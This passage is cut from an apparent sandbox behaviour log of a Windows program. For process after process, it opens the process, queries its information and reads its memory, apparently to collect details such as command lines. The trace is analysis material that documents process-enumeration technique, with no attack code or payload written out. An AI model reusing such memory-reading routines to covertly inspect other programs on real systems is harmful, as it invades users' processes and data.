_Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0344.196] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0344.196] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.196] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0344.197] GetLastError () returned 0x0 [0344.197] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.198] malloc (_Size=0x64) returned 0xeb6070 [0344.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb6070, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0344.199] free (_Block=0xeb6070) [0344.199] CloseHandle (hObject=0xa9c) returned 1 [0344.200] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0344.200] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0344.200] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.200] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0344.201] GetLastError () returned 0x0 [0344.201] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.202] malloc (_Size=0x8c) returned 0xec7840 [0344.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7840, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7840*, lpNumberOfBytesRead=0x0) returned 1 [0344.204] free (_Block=0xec7840) [0344.204] CloseHandle (hObject=0xa9c) returned 1 [0344.204] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0344.209] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0344.210] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.210] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.210] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0344.210] GetLastError () returned 0x0 [0344.210] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.211] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.212] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.212] malloc (_Size=0x2c) returned 0xe72370 [0344.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe72370, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72370*, lpNumberOfBytesRead=0x0) returned 1 [0344.213] free (_Block=0xe72370) [0344.213] CloseHandle (hObject=0xa9c) returned 1 [0344.213] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0344.213] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0344.214] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.214] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0344.214] GetLastError () returned 0x0 [0344.215] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.215] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.215] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.216] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.216] malloc (_Size=0x60) returned 0xeb6770 [0344.216] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb6770, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0344.217] free (_Block=0xeb6770) [0344.217] CloseHandle (hObject=0xa9c) returned 1 [0344.217] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0344.217] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0344.217] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.217] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.218] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0344.219] CloseHandle (hObject=0x0) returned 0 [0344.219] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0344.219] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0344.219] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.219] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.224] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0344.224] GetLastError () returned 0x0 [0344.224] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.224] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.224] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.224] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.225] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.225] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.225] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.225] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.225] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.226] malloc (_Size=0x70) returned 0xea8aa0 [0344.226] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea8aa0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0344.226] free (_Block=0xea8aa0) [0344.227] CloseHandle (hObject=0xa9c) returned 1 [0344.227] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0344.227] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0344.227] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.227] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.228] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0344.228] CloseHandle (hObject=0x0) returned 0 [0344.229] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0344.229] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0344.229] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.229] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.230] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0344.230] GetLastError () returned 0x0 [0344.230] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.230] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.230] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.230] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.230] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.231] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.231] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.231] malloc (_Size=0x7e) returned 0xe87940 [0344.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe87940, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87940*, lpNumberOfBytesRead=0x0) returned 1 [0344.232] free (_Block=0xe87940) [0344.232] CloseHandle (hObject=0xa9c) returned 1 [0344.232] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0344.233] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0344.233] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.233] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0344.234] GetLastError () returned 0x0 [0344.234] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.234] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.234] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.234] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.234] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.234] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.235] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.235] malloc (_Size=0xbc) returned 0xec9480 [0344.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0344.236] free (_Block=0xec9480) [0344.237] CloseHandle (hObject=0xa9c) returned 1 [0344.240] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0344.240] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0344.240] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.240] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.241] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0344.241] GetLastError () returned 0x0 [0344.241] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.241] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.241] ReadProcessMemory (in: hProcess=0xa9c, 